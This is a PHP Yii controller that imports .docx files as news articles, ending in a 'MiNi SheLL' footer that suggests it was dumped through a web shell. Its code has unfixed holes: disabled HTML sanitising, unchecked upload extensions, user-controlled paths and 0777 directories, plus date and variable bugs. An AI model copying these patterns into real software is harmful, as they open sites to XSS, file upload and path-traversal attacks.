            $content = "";
            $images = [];
            $imagesCounter = 0;
            foreach($data['sections'] as $section) {
                if($section['or_title']) {
                    $title .= $section['content'];
                }
                if($section['or_lead']) {
                    $lead .= $section['content'];
                }
                if(!$section['or_hidden']) {                    
                    if(!empty($section['header_tag'])) {
                        $content .= '<'.$section['header_tag'].'>'.$section['content'].'</'.$section['header_tag'].'>';
                    } elseif($section['or_title'] || $section['or_lead']) {
                        $content .= '<p><strong>'.str_replace(['<em>', '</em>'], ['', ''], $section['content']).'</strong></p>';
                    } else {
                        $content .= '<p>'.$section['content'].'</p>';
                    }
                    
                    if(!empty($section['images'])) {
                        $content .= '<p>';
                        foreach($section['images'] as $image) {
                            $imagesCounter++;
                            $srcHash = '###IMG_SRC_'.$imagesCounter.'###';
                            $images[$image['path']] = $srcHash;
                            $content .= '<img src="'.$srcHash.'" alt="image" loading="lazy" class="img-responsive">';
                        }
                        $content .= '</p>';
                    }
                }
            }
            $lead = strip_tags($lead);
            $title = strip_tags($title);

            $modelArticle = new \common\models\Articles(['scenario' => 'create']);
            $modelArticle->title = !empty($title) ? $title : 'Uzupełnij tytuł';
            if(strlen($modelArticle->title) > 255) {
                $modelArticle->title = substr($modelArticle->title, 0, 255);
            }
            $modelArticle->lead = !empty($lead) ? $lead : 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nec volutpat ante. Nulla magna arcu, blandit sit amet scelerisque sed, vestibulum sed tellus. Nunc scelerisque nisl vel maximus tempus. Sed in sollicitudin massa. Donec eget elementum arcu, in feugiat tortor. Mauris elementum sapien at porta pulvinar. Nulla non eros a urna dignissim molestie.';
            $modelArticle->content = $content; //\yii\helpers\HtmlPurifier::process($content);
            $modelArticle->publication_datetime = date('Y-m-h H:m');
            $modelArticle->status = \common\models\types\Status::HIDDEN;
            $modelArticle->origin_type = \common\models\types\ArticleOriginType::EXTERNAL;            
            if(!empty($intermediary['id'])) {
                $modelArticle->agency_id_company = intval($intermediary['id']);
                //@todo proteza - nie mam u siebie lokalnie tych firm
//                $modelArticle->agency_id_company = 248495;

                $modelArticle->recommended_start_date = date('Y-m-d');
                $modelArticle->recommended_end_date = date('Y-m-d', strtotime(date('Y-m-d').' + 1 day'));
                if(!empty($intermediary['annotations'])) {
                    $modelArticle->annotations = $intermediary['annotations'];
                }
                $idOperator = \common\models\Users::find()->select(['id_user'])->where(['login' => $intermediary['operator_login']])->scalar();
                $modelArticle->agency_id_operator = $idOperator ? $idOperator : null;
                $modelArticle->agency_or_paid = 1;
                if($intermediary['email_address']) {
                    $modelArticle->emails = [$intermediary['email_address']];
                }
                $modelArticle->or_advertisement = 0;
            }
            if($mainImageFileName) {
                $modelArticle->image_filename = \common\models\Articles::createImageFileName(substr($mainImageFileName, 0, strrpos($mainImageFileName, '.')), 'webp');
            }
            
            //dopisujemy w linkach dofollow lub nofollow itd.
            $matches = [];
            preg_match_all('|<a[^>]+href=\"(.*?)\"[^>]*>(.*?)</a>|is', $modelArticle->content, $matches);
            if(!empty($matches[0])) {
            $replacePhrase = !empty($intermediary['id']) ? '" target="_blank" rel="dofollow">' : '" target="_blank" rel="nofollow noindex noopener">';                
                $modelArticle->content = str_replace('">', $replacePhrase, $modelArticle->content);
            }

            $transaction = Yii::$app->db->beginTransaction();

            if(!$modelArticle->save()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $modelArticle->getErrors());
                return $this->redirect(['articles/import-from-doc-file', 'uuid' => $uuid]);
            }        

            if(!empty($portals)) {
                $idsPortals = \common\models\Portals::find()->select(['id_portal'])->where(['id_portal' => $portals])->column();
                if(!empty($idsPortals)) { 
                    foreach($idsPortals as $idPortal) {
                        $modelArticleHasPortal = new \common\models\ArticlesHasPortals();
                        $modelArticleHasPortal->id_article = $modelArticle->id_article;
                        $modelArticleHasPortal->id_portal = $idPortal;
                        if(!$modelArticleHasPortal->save()) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                            return $this->redirect(['articles/import-from-doc-file', 'uuid' => $uuid]);
                        }
                    }

                    $idsCategories = \common\models\ArticlesCategories::find()->select(['id_category'])->where(['id_portal' => $idsPortals, 'category_type' => \common\models\types\ArticleCategoryType::NEWS])->column();
                    foreach($idsCategories as $idCategory) {
                        $modelArticleHasCategory = new \common\models\ArticlesHasArticlesCategories();
                        $modelArticleHasCategory->id_article = $modelArticle->id_article;
                        $modelArticleHasCategory->id_category = $idCategory;
                        if(!$modelArticleHasCategory->save()) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                            return $this->redirect(['articles/import-from-doc-file', 'uuid' => $uuid]);
                        }
                    }
                }
            }

            if(!empty($images)) {
                $contentImagesUrl = Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelArticle->id_article.'/';
                $contentImagesDir = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelArticle->id_article.'/';             
                mkdir($contentImagesDir, 0777, true);

                foreach($images as $imagePath => $imageSrcHash) {                    
                    $fileContent = file_get_contents($imagePath);
                    if(!$fileContent) {
                        continue;
                    }

                    $originalFileName = basename($imagePath); 
                    $targetFileName = substr($originalFileName, 0, strrpos($originalFileName, '.')).'.webp'; 

                    $mime = mb_strtolower(mime_content_type($imagePath));
                    $image = imagecreatefromstring($fileContent); 
                    if($mime === 'image/png' || $mime === 'image/gif') {
                        imagepalettetotruecolor($image);
                        if($mime === 'image/png') {
                            imageinterlace($image, 0);
                        }
                        imagealphablending($image, true);
                        imagesavealpha($image, true);
                    }                    
                    imagewebp($image, $contentImagesDir.$targetFileName, 85);
                    imagedestroy($image);

                    $modelArticle->content = str_replace($imageSrcHash, $contentImagesUrl.$targetFileName, $modelArticle->content);
                }
            }

            if($mainImageFileName) {
                $fileContent = file_get_contents(Yii::getAlias('@backend/web')."/temp/articles_import/".$uuid."/img/".$mainImageFileName);
                if($fileContent) {
                    $articleImagesDir = Yii::getAlias('@articlesImagesRealPath').'/'.$modelArticle->id_article.'/';  
                    mkdir($articleImagesDir, 0777, true);

                    $mime = mb_strtolower(mime_content_type($imagePath));
                    $image = imagecreatefromstring($fileContent);
                    if($mime === 'image/png' || $mime === 'image/gif') {
                        imagepalettetotruecolor($image);
                        if($mime === 'image/png') {
                            imageinterlace($image, 0);
                        }
                        imagealphablending($image, true);
                        imagesavealpha($image, true);
                    }
                    imagewebp($image, $articleImagesDir.$modelArticle->image_filename, 85); 
                    imagedestroy($image);
                } else {
                    $modelArticle->image_filename = null;
                }

            }

            if(!$modelArticle->save()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $modelArticle->getErrors());
                return $this->redirect(['articles/import-from-doc-file', 'uuid' => $uuid]);
            }

            $transaction->commit();        
            $this->removeDir(Yii::getAlias('@backend/web')."/temp/articles_import/".$uuid."/", true);

            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            return $this->redirect(['articles/update', 'id' => $modelArticle->id_article]);
        }
        
        return $this->render('import_from_doc_file', [
            'data' => $data
        ]);
    }
    
    public function actionDeleteImportFromDocFile($uuid)
    {
        $path = Yii::getAlias('@backend/web')."/temp/articles_import/".$uuid;        
        if(file_exists($path)) {
            $this->removeDir($path);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        } else {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Wybrany element nie istnieje.'));
        }
        
        return $this->redirect(['index']);
    }
    
    public function actionUploadAdditionalImagesForImportFromDocFile()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        $files = \yii\web\UploadedFile::getInstancesByName('files');
        
        $dirName = Yii::$app->request->post('dir');
        
        
        if(!file_exists(Yii::getAlias('@backend/web')."/temp/articles_import/".$dirName."/")) {
            return [];
        }
        
        $targetDirPath = Yii::getAlias('@backend/web')."/temp/articles_import/".$dirName."/img/";
        if(!file_exists($targetDirPath)) {
            mkdir($targetDirPath, 0777, true);
        }
        
        $output = [];
        foreach($files as $file) {                        
            $fileExtension = substr($file->name, strrpos($file->name, '.'));
            $fileBaseName = substr($file->name, 0, strrpos($file->name, '.'));            
            $fileBaseName = strtolower(iconv('UTF-8', 'ASCII//TRANSLIT', $fileBaseName));
            $fileBaseName = preg_replace('/\s+/i', '-', $fileBaseName);
            $fileBaseName = preg_replace('/[^a-zA-Z0-9_\-]/i', '', $fileBaseName);
            
            if(file_exists($targetDirPath.$fileBaseName.$fileExtension)) {
                $fileBaseName .= '_'.time();
            }
            
            $targetFilePath = $targetDirPath.$fileBaseName.$fileExtension;
            if ($file->saveAs($targetFilePath)) {
                list($width, $height) = getimagesize($targetFilePath);
                $output[] = [
                    'path' => $targetFilePath,
                    'url' => str_replace(Yii::getAlias('@backend/web'), Yii::$app->params['backendBaseUrl'], $targetFilePath), 
                    'width' => $width,
                    'height' => $height
                ];
            } 
        }
        
        return $output;
    }
    
    public function actionModifyDataImportFromDocFile()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;        
//        
        $dirName = Yii::$app->request->post('dir');
        $dataPath = Yii::$app->request->post('path');
        $newValue = Yii::$app->request->post('value');
        $newValueDataType = Yii::$app->request->post('data_type', 'string');
        
        switch($newValueDataType) {
            case 'integer':
                $newValue = intval($newValue);
                break;
            case 'boolean':
                $newValue = $newValue === '0' ? false : true;
                break;
            case 'json':
                $newValue = json_decode($newValue, true);
                break;
        }
        
        $dataFilePath = Yii::getAlias('@backend/web')."/temp/articles_import/".$dirName."/metadata.json";        
        if(!file_exists($dataFilePath)) {
            return 0;
        }
        
        $data = file_get_contents($dataFilePath);
        if($data === false) {
            return 0;
        }        
        $data = json_decode($data, true);
        
        if(!is_null(\yii\helpers\ArrayHelper::getValue($data, $dataPath))) {
            \yii\helpers\ArrayHelper::setValue($data, $dataPath, $newValue);
        }
        
        file_put_contents($dataFilePath, json_encode($data));
        
        return 1;
    }
    
    public function actionPreviewForImportFromDocFile($uuid)
    {
        $data = file_get_contents(Yii::getAlias('@backend/web')."/temp/articles_import/".$uuid."/metadata.json");
        if($data === false) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['index']);
        }
        
        $data = json_decode($data, true);
        
        $mainImageFileUrl = $data['main_image'] ? Yii::$app->params['backendBaseUrl']."/temp/articles_import/".$uuid."/img/".$data['main_image'] : null;
        $intermediary = $data['intermediary'];        
        $title = "";
        $lead = "";
        $content = "";
        foreach($data['sections'] as $section) {
            if($section['or_title']) {
                $title .= $section['content'];
            }
            if($section['or_lead']) {
                $lead .= $section['content'];
            }
            if(!$section['or_hidden']) {
                if(!empty($section['header_tag'])) {
                    $content .= '<'.$section['header_tag'].'>'.$section['content'].'</'.$section['header_tag'].'>';
                } elseif($section['or_title'] || $section['or_lead']) {
                    $content .= '<p><strong>'.str_replace(['<em>', '</em>'], ['', ''], $section['content']).'</strong></p>';
                } else {
                    $content .= '<p>'.$section['content'].'</p>';
                }
                
                if(!empty($section['images'])) {
                    $content .= '<p>';
                    foreach($section['images'] as $image) {
                        $content .= '<img src="'.$image['url'].'" alt="image" loading="lazy" class="img-responsive">';
                    }
                    $content .= '</p>';
                }
            }
        }
        $title = strip_tags($title);
        $lead = strip_tags($lead);
        
        $matches = [];
        preg_match_all('|<a[^>]+href=\"(.*?)\"[^>]*>(.*?)</a>|is', $content, $matches);
        if(!empty($matches[0])) {
        $replacePhrase = !empty($intermediary['id']) ? '" target="_blank" rel="dofollow">' : '" target="_blank" rel="nofollow noindex noopener">';                
            $content = str_replace('">', $replacePhrase, $content);
        }
        
//        ini_set('xdebug.var_display_max_depth', 10);
        
        return $this->renderAjax('import_from_doc_file_preview', [
            'title' => $title,
            'mainImageFileUrl' => $mainImageFileUrl,
            'lead' => $lead,
            'content' => $content,
            'intermediary' => $intermediary
        ]);
    }
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    protected function generateUnorderedList($data) 
    {
        if(empty($data)) {
            return "";
        }
        
        $html = '<ul>';
        $stack = [];
        $currentLevel = 0;

        foreach ($data as $key => $item) {
            $level = $item['depth'];
            $line = $item['text'];
            
            if($key !== 0 && $currentLevel === $level) {
                $html .= '</li>';
            }

            while ($currentLevel < $level) {
                $html .= '<ul>';
                $stack[] = $currentLevel;
                $currentLevel++;
            }

            $orCloseLastLi = false;
            while ($currentLevel > $level) {
                if(!$orCloseLastLi) {
                    $html .= '</li>';
                    $orCloseLastLi = true;
                }
                $html .= '</ul></li>';
                $currentLevel = array_pop($stack);
            }

            $html .= '<li>'.$line;
//            $html .= '<li>' . htmlspecialchars($line);
        }

        while ($currentLevel > 0) {
            $html .= '</ul></li>';
            $currentLevel = array_pop($stack);
        }

        if(substr($html, -5) !== '</li>') {
            $html .= '</li>';
        }

        $html .= '</ul>';
        
        return $html;
    }
    
    public function actionTestExtract()
    {
//        $data = [
//            ['text' => 'poz. 1', 'depth' => 0],
//            ['text' => 'poz. 2', 'depth' => 1],
//            ['text' => 'poz. 3', 'depth' => 2],
//            ['text' => 'poz. 4', 'depth' => 2],
//            ['text' => 'poz. 5', 'depth' => 3],
//            ['text' => 'poz. 6', 'depth' => 3],
//            ['text' => 'poz. 7', 'depth' => 4],
//            ['text' => 'poz. 8', 'depth' => 0],
//            ['text' => 'poz. 9', 'depth' => 1],
//        ];
//
//        $html = $this->generateUnorderedList($data);
//        echo $html;        
//        exit;
        
        try {
            $dirName = '57097695-cfb4-4bff-9942-b963945121de';

            $path = Yii::getAlias('@backend/web')."/temp/articles_import/".$dirName."/";

            if(!file_exists($path)) {
                mkdir($path, 0777, true);
            }
            if(!file_exists($path.'img/')) {
                mkdir($path.'img/', 0777);
            }        

            $phpWord = \PhpOffice\PhpWord\IOFactory::load(Yii::getAlias('@runtime/temp/2_article.docx'));
            
            $output = [
                'main_image' => "",
                'portals' => [],
                'intermediary' => [
                    'id' => "",
                    'annotations' => "",
                    'operator_login' => "",
                    'email_address' => ""
                ]
            ];
            
            $zip = new \ZipArchive();
            if ($zip->open(Yii::getAlias('@runtime/temp/2_article.docx')) === TRUE) {
                $extractPath = $path.'temp_extract/';
                $zip->extractTo($extractPath);
                $zip->close();

                foreach ($phpWord->getSections() as $section) { 
//                    var_dump($section); continue;
                    
                    $list = [];
//                    $lastElementIsListItem = false;
                    foreach ($section->getElements() as $elementKey => $element) {
//                        var_dump(get_class($element)); continue;
                        
                        if($element instanceof \PhpOffice\PhpWord\Element\ListItemRun) {
//                            var_dump($element); exit;                            
                            
                            $htmlCode = '';
                            foreach ($element->getElements() as $textElement) {
                                
                                if($textElement instanceof \PhpOffice\PhpWord\Element\Text) {                                    
                                    $textHtml = htmlspecialchars($textElement->getText());
                                    $fontStyles = $textElement->getFontStyle();
                                    if($fontStyles) {
                                        if($fontStyles->isBold()) {
                                            $textHtml = "<strong>$textHtml</strong>";
                                        }
                                        if($fontStyles->isItalic()) {
                                            $textHtml = "<em>$textHtml</em>";
                                        }
                                        if($fontStyles->isStrikethrough()) {
                                            $textHtml = "<s>$textHtml</s>";
                                        }
                                    }
                                    $htmlCode .= $textHtml;
                                    
                                } elseif ($textElement instanceof \PhpOffice\PhpWord\Element\Link) {
                                    $linkText = htmlspecialchars($textElement->getText());
                                    $linkUrl = htmlspecialchars($textElement->getSource());                                    
                                    $htmlCode .= "<a href=\"$linkUrl\" target=\"_blank\">$linkText</a>";
                                } 
                            }
                            $list[] = [
                                'text' => $htmlCode,
                                'depth' => intval($element->getDepth())
                            ];;
                        } 
                        
                        if(!empty($list) && ( ($elementKey + 1) === $section->getElements() || !($element instanceof \PhpOffice\PhpWord\Element\ListItemRun) )) {
                            //tutaj będziemy zamykali listę i dodawali do jako sekcję
//                            var_dump($list);
//                            exit;
                            $item = [
                                'or_title' => false,
                                'or_lead' => false,
                                'or_hidden' => false,
                                'header_tag' => "",
                                'images' => [],
//                                'content' => '<ul>'.implode("\n", array_map(function($listItem) { return '<li>'.$listItem.'</li>'; }, $list)).'</ul>'
                                'content' => $this->generateUnorderedList($list)
                            ];
//                            echo $item['content']."\n\n";
                            $output['sections'][\common\components\UuidGenerator::generateV4()] = $item;
                            $list = [];
                        }
                        
                        if($element instanceof \PhpOffice\PhpWord\Element\Title) {                            
                            $depth = intval($element->getDepth()) + 1;                            
                            $output['sections'][\common\components\UuidGenerator::generateV4()] = [
                                'or_title' => false,
                                'or_lead' => false,
                                'or_hidden' => false,
                                'header_tag' => 'h'.($depth > 6 ? 6 : $depth),
                                'images' => [],
                                'content' => $element->getText()
                            ];
                            
//                        } elseif($element instanceof \PhpOffice\PhpWord\Element\TextRun) {
                        } elseif(get_class($element) === 'PhpOffice\PhpWord\Element\TextRun') {
                            $item = [
                                'or_title' => false,
                                'or_lead' => false,
                                'or_hidden' => false,
                                'header_tag' => "",
                                'images' => [],
                                'content' => ""
                            ];
                            
                            foreach ($element->getElements() as $textElement) {
                                if($textElement instanceof \PhpOffice\PhpWord\Element\Image) {
                                    $imgPath = $textElement->getSource();
                                    $imageSrc = $extractPath . substr($imgPath, strpos($imgPath, '#') + 1);
                                    
                                    if (file_exists($imageSrc)) {
                                        list($width, $height) = getimagesize($imageSrc);
                                        list($newImagePath, $newImgUrl) = $this->moveImage($imageSrc, $path.'img/');
                                        
                                        $item['images'][\common\components\UuidGenerator::generateV4()] = [
                                            'path' => $newImagePath,
                                            'url' => $newImgUrl, 
                                            'width' => $width,
                                            'height' => $height,
                                        ];
                                    }
                                    
                                } elseif($textElement instanceof \PhpOffice\PhpWord\Element\Text) {                                    
                                    $htmlText = htmlspecialchars($textElement->getText());
                                    $fontStyles = $textElement->getFontStyle();
                                    if($fontStyles) {
                                        if($fontStyles->isBold()) {
                                            $htmlText = "<strong>$htmlText</strong>";
                                        }
                                        if($fontStyles->isItalic()) {
                                            $htmlText = "<em>$htmlText</em>";
                                        }
                                        if($fontStyles->isStrikethrough()) {
                                            $htmlText = "<s>$htmlText</s>";
                                        }
                                    }                                    
                                    $item['content'] .= $htmlText;
                                    
                                } elseif ($textElement instanceof \PhpOffice\PhpWord\Element\Link) {
                                    $linkText = htmlspecialchars($textElement->getText());
                                    $linkUrl = htmlspecialchars($textElement->getSource());
                                    
                                    $item['content'] .= "<a href=\"$linkUrl\" target=\"_blank\">$linkText</a>";
                                } 
                            }
                            
                            $output['sections'][\common\components\UuidGenerator::generateV4()] = $item;
                        }
                    }
                }
                $this->removeDir($extractPath, true);
            }
            
            var_dump($output); 
            exit;
            
//            file_put_contents($path.'metadata.json', json_encode($output));
        } catch (\Exception $ex) {
            var_dump($ex); exit;
            return false;
        }
    }
    
    //@todo proteza - wrzucone na chwilę
    protected function moveImage($sourceFilePath, $targetDirPath) 
    {        
        $fileName = pathinfo($sourceFilePath, PATHINFO_BASENAME);
        
        if(rename($sourceFilePath, $targetDirPath.$fileName)) {
            return [$targetDirPath.$fileName, str_replace(Yii::getAlias('@backend/web'), Yii::$app->params['backendBaseUrl'], $targetDirPath.$fileName)];
        } else {
            return [false, false];
        }
    }
}


Creat By MiNi SheLL
Email: jattceo@gmail.com